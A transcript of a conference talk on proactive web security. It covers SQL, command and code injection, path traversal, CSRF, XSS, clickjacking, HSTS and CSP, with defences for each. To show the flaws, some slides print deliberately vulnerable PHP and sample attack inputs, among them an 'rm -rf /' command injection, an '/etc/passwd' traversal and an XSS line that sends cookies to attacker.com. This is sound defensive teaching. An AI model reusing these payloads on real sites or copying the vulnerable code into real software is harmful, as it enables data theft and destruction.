Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Proactive web security

Proactive web security

Keeping your web application secure and free from vulnerabilities is hard work, even if you know the OWASP Top 10. In this talk I will show tools, best practices and patterns to help you with this, so that you can find security issues before an attacker does and even prevent them in the first place.

Bastian Hofmann

October 27, 2018
Tweet

More Decks by Bastian Hofmann

Other Decks in Programming

Transcript

  1. @BastianHofmann
    Proactive Web Security
    Bastian Hofmann

    View full-size slide

  2. Thinking about Security is important

    View full-size slide

  3. • 2013/14
    • 3 billion user
    accounts

    View full-size slide

  4. • 2016
    • 145 million user
    accounts

    View full-size slide

  5. • 2016
    • 412 million user
    accounts

    View full-size slide

  6. • 2011
    • 77 million user
    accounts

    $171 million loss

    View full-size slide

  7. • 2017
    • Personal
    Information of

    143 million
    consumers

    View full-size slide

  8. Everyone is a target for attackers

    View full-size slide

  9. So let’s think about the harmful
    things a hacker can do

    View full-size slide

  10. And what we can do to prevent them

    View full-size slide

  11. None of these lists are ever complete

    View full-size slide

  12. Stay up-to-date

    View full-size slide

  13. Every topic starts basic and will get
    more advanced quickly

    View full-size slide

  14. Try to get access to the database

    View full-size slide

  15. Use authentication and TLS

    View full-size slide

  16. Do not expose your databases to the
    internet

    View full-size slide

  17. “There are nearly 30,000
    [MongoDB] instances on the
    Internet that don't have any
    authorization enabled”
    https:/
    /blog.shodan.io/its-the-data-stupid/

    View full-size slide

  18. $ mongo yoursite.com

    View full-size slide

  19. Scan your public IPs for open ports

    View full-size slide

  20. $ nmap scanme.nmap.org
    Starting Nmap 7.60 …
    Not shown: 994 closed ports
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http
    135/tcp filtered msrpc
    139/tcp filtered netbios-ssn
    445/tcp filtered microsoft-ds
    9929/tcp open nping-echo

    View full-size slide

  21. $ nmap www.researchgate.net
    Starting Nmap 7.60 …
    PORT STATE SERVICE
    80/tcp open http
    443/tcp open https

    View full-size slide

  22. These are still two open ports

    View full-size slide

  23. Attack vector

    View full-size slide

  24. Bugs in your software

    View full-size slide

  25. SQL Injection

    View full-size slide

  26. $userId = $_GET[‘userId’];
    $sql = ‘SELECT * FROM users WHERE id =‘
    . $userId;
    $mysqli->query($sql);

    View full-size slide

  27. // 12 OR TRUE
    $userId = $_GET[‘userId’];
    $sql = ‘SELECT * FROM users WHERE id =‘
    . $userId;
    $mysqli->query($sql);

    View full-size slide

  28. $name = $_GET[‘name’];
    $name = $mysqli->real_escape_string($name);
    $sql = ‘SELECT * FROM users WHERE name = ’
    . $name;
    $mysqli->query($sql);

    View full-size slide

  29. http:/
    /www.doctrine-
    project.org/projects/
    orm.html

    View full-size slide

  30. $userId = (int) $_GET[‘userId’];
    $user = $entityManager->find(
    ‘User’,
    $userId
    );

    View full-size slide

  31. Use prepared statements

    View full-size slide

  32. $userId = (int) $_GET[‘userId’];
    $rsm = new ResultSetMapping();
    $query = $entityManager->createNativeQuery(
    'SELECT * FROM users WHERE userId = ?',
    $rsm
    );
    $query->setParameter(1, $userId);
    $users = $query->getResult();

    View full-size slide

  33. There are more types of injections

    View full-size slide

  34. Injection in HTTP requests

    View full-size slide

  35. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/?id=' . $_GET[‘id']
    );

    View full-size slide

  36. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    // 6&admin=true
    'https://api.com/path/?id=' . $_GET[‘id']
    );

    View full-size slide

  37. Always escape

    View full-size slide

  38. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/?id=' . urlencode($_GET[‘id’])
    );

    View full-size slide

  39. Use sensible libraries

    View full-size slide

  40. $client = new \GuzzleHttp\Client();
    $res = $client->request(
    'GET',
    'https://api.com/path/',
    ['query' => ['id' => $_GET['id']]]
    );

    View full-size slide

  41. Command injection

    View full-size slide

  42. $logFile = $_GET['logFile'];
    passthru(
    'cat ' . __DIR__ . '/logs/' . $logFile
    );

    View full-size slide

  43. // foo.log && rm -rf /
    $logFile = $_GET['logFile'];
    passthru(
    'cat ' . __DIR__ . '/logs/' . $logFile
    );

    View full-size slide

  44. Always escape

    View full-size slide

  45. $logFile = $_GET['logFile'];
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/logs/' . $logFile
    )
    );

    View full-size slide

  46. Path traversals

    View full-size slide

  47. // ../../../etc/passwd
    $logFile = $_GET['logFile'];
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/logs/' . $logFile
    )
    );

    View full-size slide

  48. $logFile = $_GET['logFile'];
    if (!preg_match('/^[a-z]+\.log$/', $logFile) {
    throw new \Exception('Invalid file name');
    }
    passthru(
    'cat ' .
    escapeshellarg(
    __DIR__ . '/' . $logFile
    )
    );

    View full-size slide

  49. $logFile = $_GET['logFile'];
    $file = realpath(__DIR__ . '/logs/' . $logFile);
    if (dirname($file) !== __DIR__ . '/logs') {
    throw \Exception('Invalid file');
    }
    passthru(
    'cat ' .
    escapeshellarg(
    $file
    )
    );

    View full-size slide

  50. Code injection

    View full-size slide

  51. $myvar = "varname";
    $x = $_GET['arg'];
    eval("\$myvar = \$x;");

    View full-size slide

  52. Do not use eval or create_function

    View full-size slide

  53. XML Entity Injection

    View full-size slide

  54. Disable entity loading

    View full-size slide

  55. // set this very early in your request
    libxml_disable_entity_loader(true);

    View full-size slide

  56. Only enable it,
    if you really need it

    View full-size slide

  57. Trusted SOAP APIs over TLS

    View full-size slide

  58. function dangerouslyEnableXmlEntityLoader(
    callable $f
    ) {
    try {
    libxml_disable_entity_loader(false);
    return $f();
    } finally {
    libxml_disable_entity_loader(true);
    }
    }

    View full-size slide

  59. If the attacker can’t find any
    injection vulnerabilities

    View full-size slide

  60. Trying to find bugs in libraries you
    use

    View full-size slide

  61. Keep things up to date

    View full-size slide

  62. Check for known security
    vulnerabilities

    View full-size slide

  63. https:/
    /github.com/
    sensiolabs/security-
    checker

    View full-size slide

  64. $ php security-checker security:check ./composer.lock
    Symfony Security Check Report
    =============================
    [OK] No packages have known vulnerabilities.

    View full-size slide

  65. $ npm audit
    (+) No known vulnerabilities found

    View full-size slide

  66. Trying to find bugs in your
    infrastructure

    View full-size slide

  67. Keep things up to date

    View full-size slide

  68. Scan for known vulnerabilities

    View full-size slide

  69. https:/
    /github.com/
    future-architect/vuls

    View full-size slide

  70. localhost (centos7.3.1611)
    ==========================
    Total: 109 (High:35 Medium:55 Low:16 ?:3) 31
    updatable packages
    CVE-2015-2806 10.0 HIGH (nvd)
    Stack-based buffer overflow in
    asn1_der_decoding in libtasn1 before 4.4 allows
    remote attackers to have
    unspecified impact via unknown vectors.

    View full-size slide

  71. If there are no vulnerabilities so far

    View full-size slide

  72. Try to take over accounts

    View full-size slide

  73. Man-in-the-middle attacks

    View full-size slide

  74. HTTP is plain text

    View full-size slide

  75. Very easy to read and modify on the
    wire

    View full-size slide

  76. Public WiFis

    View full-size slide

  77. $ sudo tcpdump -v port 80

    View full-size slide

  78. $ curl http://google.com

    View full-size slide

  79. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next-
    header TCP (6) payload length: 549) muc11s14-in-x0e.
    1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b.
    60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack
    75, win 106, options [nop,nop,TS val 2632812618 ecr
    335746159], length 517: HTTP, length: 517
    HTTP/1.1 302 Found
    Cache-Control: private
    Content-Type: text/html; charset=UTF-8
    Referrer-Policy: no-referrer
    Location: http://www.google.de/?
    gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ
    Content-Length: 268
    Date: Fri, 12 Jan 2018 13:06:40 GMT

    View full-size slide

  80. Encrypt the traffic

    View full-size slide

  81. But “TLS is slow and expensive”

    View full-size slide

  82. https:/
    /letsencrypt.org/

    View full-size slide

  83. https:/
    /istlsfastyet.com/

    View full-size slide

  84. Check config

    View full-size slide

  85. https:/
    /www.ssllabs.com/
    ssltest

    View full-size slide

  86. What happens when you enter a URL
    into the address bar?

    View full-size slide

  87. $ curl -I http://www.researchgate.net
    HTTP/1.1 301 Moved Permanently
    Content-Length: 178
    Content-Type: text/html
    Date: Fri, 12 Jan 2018 13:02:35 GMT
    Location: https://www.researchgate.net/
    Server: nginx
    Connection: keep-alive

    View full-size slide

  88. Man-in-the-Middle Attack on initial
    redirect

    View full-size slide

  89. Strict-Transport-Security
    https:/
    /developer.mozilla.org/en-US/docs/Web/HTTP/Headers/S

    View full-size slide

  90. strict-transport-security: max-age=15552000;
    includeSubDomains; preload

    View full-size slide

  91. chrome:/
    /net-internals/
    #hsts

    View full-size slide

  92. Man-in-the-Middle Attack on the
    very first time the user visits a site

    View full-size slide

  93. Browser Preloads

    View full-size slide

  94. strict-transport-security: max-age=15552000;
    includeSubDomains; preload

    View full-size slide

  95. https:/
    /hstspreload.org/

    View full-size slide

  96. So no man-in-the middle

    View full-size slide

  97. Brute force to guess the password

    View full-size slide

  98. Alert user of logins on a new device

    View full-size slide

  99. Remote logout

    View full-size slide

  100. Two-Factor-Authentication

    View full-size slide

  101. “Less then 10 percent of all
    google users use Two-Factor-
    Authentication”
    http:/
    /uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor-
    authentication

    View full-size slide

  102. E-Mail only logins

    View full-size slide

  103. Works great on mobile where
    entering a password is tedious

    View full-size slide

  104. Getting into the accounts directly is
    not possible or very expensive

    View full-size slide

  105. Doing actions on the user’s behalf
    without direct account takeover

    View full-size slide

  106. Cross Site Request Forgery

    View full-size slide

  107. http:/
    /site.com/
    deleteCurrentAccount

    View full-size slide

  108. Session cookie is necessary for the
    request to work

    View full-size slide

  109. On the site of an attacker

    View full-size slide

  110. src=“http://site.com/deleteCurrentAccount"
    />

    View full-size slide

  111. The browser automatically adds the
    session cookie when the image is
    fetched

    View full-size slide

  112. Or an email with
    “Hey click on http:/
    /bit.ly/2n1b42n
    to win”

    View full-size slide

  113. Don’t support GET requests for
    writing operations

    View full-size slide

  114. Though that does not help

    View full-size slide

  115. On the site of an attacker

    View full-size slide

  116. id="form"
    action="http://site.com/deleteCurrentAccount">

    <br/>document.getElementById("form")<br/>.submit()<br/>

    View full-size slide

  117. Create token that has the Session ID
    cookie value encrypted

    View full-size slide

  118. $plaintext = $sessionId . '/' . $userId . '/' . time();
    $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
    $token = base64_encode($nonce .
    sodium_crypto_secretbox($plaintext, $nonce, $key));

    View full-size slide

  119. Add this token to every non GET
    request

    View full-size slide

  120. id="form"
    action=“http://site.com/deleteCurrentAccount">
    name="csrf_token"
    value="" />

    View full-size slide

  121. Same for XHR requests

    View full-size slide

  122. Verify that the content of the token
    matches the session from the cookie

    View full-size slide

  123. $token = $_POST['csrf_token'];
    $nonce = substr(
    $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );
    $crypt = substr(
    $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
    );
    $plaintext = sodium_crypto_secretbox_open($crypt, $nonce,
    $key);
    [$sessionId, $userId, $time] = explode('/', $plaintext);
    // …

    View full-size slide

  124. if (
    $sessionId !== session_id() ||
    $userId !== $_SESSION['userId'] ||
    time() - $time > 7200
    ) {
    throw \Exception('Invalid csrf token');
    }

    View full-size slide

  125. Because of the Cross Origin Policy an
    attacker can not get hold of a
    matching CSRF token

    View full-size slide

  126. Libraries / Frameworks

    View full-size slide

  127. https:/
    /symfony.com/
    doc/current/security/
    csrf.html

    View full-size slide

  128. Same Site Cookies

    View full-size slide

  129. Browser only sends cookie in a
    “first-party-context”

    View full-size slide

  130. http:/
    /
    www.sjoerdlangkemper.nl
    /2016/04/14/preventing-
    csrf-with-samesite-
    cookie-attribute/

    View full-size slide

  131. Set-Cookie: sessionid=...; Secure; HttpOnly;
    SameSite=strict

    View full-size slide

  132. https:/
    /wiki.php.net/rfc/
    same-site-cookie

    View full-size slide

  133. https:/
    /caniuse.com/
    #feat=same-site-cookie-
    attribute

    View full-size slide

  134. But there are other ways to do
    something on behalf of the user

    View full-size slide

  135. XSS Injection

    View full-size slide




  136. User generated comment
    that comes from database



    View full-size slide




  137. User generated comment
    <br/>fetch(<br/>'http://attacker.com/?cookies=' + document.cookie<br/>)<br/>
    that comes from database



    View full-size slide

  138. Escape content

    View full-size slide




  139. echo htmlspecialchars($comment);
    ?>



    View full-size slide

  140. Template libraries

    View full-size slide

  141. https:/
    /
    twig.symfony.com/

    View full-size slide

  142. {% autoescape "html" %}



    {{ comment }}



    {% endautoescape %}

    View full-size slide

  143. https:/
    /
    mustache.github.io/

    View full-size slide

  144. Frontend frameworks

    View full-size slide

  145. https:/
    /reactjs.org/

    View full-size slide

  146. What if you want to allow certain
    HTML tags

    View full-size slide

  147. Formatting, Links, Paragraphes, …

    View full-size slide

  148. HTML Purifier

    View full-size slide

  149. http:/
    /htmlpurifier.org/

    View full-size slide

  150. $config = HTMLPurifier_Config::createDefault();
    $purifier = new HTMLPurifier($config);
    $cleanHtml = $purifier->purify($dirtyHtml);

    View full-size slide

  151. ... or just use Markdown

    View full-size slide

  152. It’s easy to make errors

    View full-size slide

  153. Try to limit the impact

    View full-size slide

  154. HTTPS only Cookies

    View full-size slide

  155. Set-Cookie: sessionid=...; Secure; HttpOnly

    View full-size slide

  156. $expire = 0;
    $path = '';
    $domain = '';
    $secure = true;
    $httpOnly = true;
    setcookie(
    'sessionId', '...', $expire, $path,
    $domain, $secure, $httpOnly
    );

    View full-size slide

  157. Content Security Policy

    View full-size slide

  158. https:/
    /
    developer.mozilla.org/en-
    US/docs/Web/HTTP/CSP

    View full-size slide

  159. Content-Security-Policy: default-src 'none'; script-src
    'self'; connect-src 'self'; img-src 'self'; style-src
    'self';

    View full-size slide

  160. Content-Security-Policy: default-src … report-uri /
    csp_errors;

    View full-size slide

  161. Do not allow inline script tags

    View full-size slide

  162. But if you must

    View full-size slide

  163. Content-Security-Policy: script-src 'nonce-2726c7f26c'

    View full-size slide

  164. This can still be bypassed

    View full-size slide

  165. Malicious JS NPM packages

    View full-size slide

  166. https:/
    /hackernoon.com/im-harvesting-
    credit-card-numbers-and-passwords-from-
    your-site-here-s-how-9a8cb347c5b5

    View full-size slide

  167. Trying to trick user into providing
    sensitive information

    View full-size slide

  168. Mostly hard to prevent because it is
    out of your control

    View full-size slide

  169. But some attack vectors are
    preventable

    View full-size slide

  170. Clickjacking

    View full-size slide





  171. <br/>...<br/>


    View full-size slide

  172. No direct access to page in IFRAME
    possible

    View full-size slide

  173. Invisible input boxes overlaying the IFRAME

    to capture input

    View full-size slide

  174. Forbid displaying your page in an
    IFRAME

    View full-size slide

  175. X-Frame-Options: SAMEORIGIN

    View full-size slide

  176. target="_blank">
    Link

    View full-size slide

  177. Common for linking URLs in user
    provided content

    View full-size slide

  178. In the opened window

    View full-size slide

  179. <br/>if (window.opener) {<br/>opener.location = 'http://phishing-site.com';<br/>}<br/>

    View full-size slide

  180. target="_blank"
    rel="noopener">
    Link

    View full-size slide

  181. https:/
    /
    mathiasbynens.github.io/
    rel-noopener/

    View full-size slide

  182. So that was a lot of information

    View full-size slide

  183. Let’s sum it up

    View full-size slide

  184. The internet is a scary place

    View full-size slide

  185. If you have users you’re a target

    View full-size slide

  186. Invest into good security practices

    View full-size slide

  187. There is always more

    View full-size slide

  188. Stay up to date

    View full-size slide

  189. http:/
    /speakerdeck.com/
    u/bastianhofmann

    View full-size slide

  190. [email protected]
    https:/
    /twitter.com/BastianHofmann

    View full-size slide

  191. Resources
    • https://www.owasp.org
    • https://twitter.com/miss_jwo/status/957555207868690434

    View full-size slide

  192. Backup slides

    View full-size slide

  193. Speaking of URL’s in user generated
    content

    View full-size slide

  194. Spot the difference

    View full-size slide

  195. researchgate.net/login
    rеsearchgate.net/login

    View full-size slide

  196. researchgate.net/login
    rеsearchgate.net/login
    This is a cyrillic “e”

    View full-size slide

  197. International domain names

    View full-size slide

  198. https:/
    /en.wikipedia.org/
    wiki/
    IDN_homograph_attack

    View full-size slide

  199. Warn the user before browsing to a
    IDN URL

    View full-size slide

  200. Warn on misspellings

    View full-size slide

  201. reserchgate.net/login

    View full-size slide

  202. researchgate.tv/login

    View full-size slide

  203. researchgate.education/login

    View full-size slide

  204. researchgate.attacker.com/login

    View full-size slide

  205. Follow redirects

    View full-size slide

  206. http:/
    /bit.ly/1bdDlXc

    View full-size slide

  207. Still HTML/XSS injection
    vulnerabilities are bad

    View full-size slide

  208. Try to detect them

    View full-size slide

  209. In your template library

    View full-size slide

  210. https:/
    /
    mustache.github.io/

    View full-size slide

  211. Every time something gets escaped,
    also replace “e” with an escape
    sequence

    View full-size slide

  212. Before returning the resulting HTML

    View full-size slide

  213. Check if there are any “e” characters
    left

    View full-size slide

  214. If yes, log this as a potential XSS
    vulnerability

    View full-size slide

  215. Replace the escape sequence back to
    “e”

    View full-size slide


  216. {{firstName}} {{{lastName}}}

    View full-size slide

  217. firstName: Peter
    lastName: Parker

    View full-size slide


  218. P___101___t___101___r Parker

    View full-size slide


  219. P___101___t___101___r Parker

    View full-size slide

  220. “Hey open the developer tools and
    paste this code there to get special
    features”

    View full-size slide

  221. Add console warning

    View full-size slide

  222. <br/>if (<br/>typeof console === 'object' &&<br/>console.log<br/>) {<br/>console.log(<br/>'%cWARNING!',<br/>'color:white; background:red;'<br/>);<br/>...<br/>}<br/>

    View full-size slide

  223. Check for internal IPs

    View full-size slide

  224. With everything you do

    View full-size slide

  225. Log and monitor sensitive
    operations

    View full-size slide

  226. Alerts on suspicious behaviour

    View full-size slide

  227. Web Application Firewalls

    View full-size slide

  228. Ability to quickly block traffic
    patterns

    View full-size slide

  229. Linking URLs in user generated
    content

    View full-size slide

  230. Information disclosure through
    Referrer

    View full-size slide

  231. https:/
    /
    developer.mozilla.org/en-
    US/docs/Web/HTTP/
    Headers/Referer

    View full-size slide

  232. Referrer Policy

    View full-size slide

  233. Referrer-Policy: origin-when-cross-origin

    View full-size slide

  234. https:/
    /
    developer.mozilla.org/en-
    US/docs/Web/HTTP/
    Headers/Referrer-Policy

    View full-size slide